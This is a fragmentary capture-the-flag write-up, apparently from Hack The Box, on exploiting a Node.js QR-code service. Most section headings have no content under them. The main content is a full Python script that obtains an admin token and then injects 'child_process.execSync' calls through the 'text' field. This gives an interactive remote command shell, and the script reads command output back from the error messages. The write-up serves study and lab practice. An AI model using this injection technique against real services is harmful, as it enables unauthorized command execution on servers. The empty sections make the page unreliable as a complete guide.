Exploit Development
Overview
Exploit Plan
Step
Action
HTTP Response Injection Exploit
Full Script
#!/usr/bin/python3
import requests
import json
# Configuration
server = "localhost"
port = 5000
url = f"http://{server}:{port}"
auth_endpoint = f"{url}/api/auth/authenticate"
qr_endpoint = f"{url}/api/service/generate"
# Get admin token
headers = {"Content-Type": "application/json"}
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
print(f"[+] Got admin token")
# Command execution loop
while True:
user_input = input("\n> ")
# Escape single quotes (breaks JS payload)
user_input = user_input.replace("'", '"')
# Build payload
payload = {
"text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"
}
# Send request
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {token}"
}
response = requests.post(qr_endpoint, headers=headers, data=json.dumps(payload))
# Parse and print output
try:
output = response.json()['message'].split("The input \"")[1][:-2]
print(output)
except:
print("[-] Error parsing response")Usage
Time-Based Blind Exploit
Full Script
Usage
Code Breakdown
1. Token Acquisition
2. Quote Escaping
3. Payload Construction
4. Response Parsing
Improvements
Error Handling
Command History
Timeout Handling
Cleanup Considerations
When Cleanup Needed
Action
Cleanup Required
This Exploit
Final Checklist
#
Step
Status
Summary
HTTP Response Exploit
Blind Time-Based Exploit
Next Steps
Last updated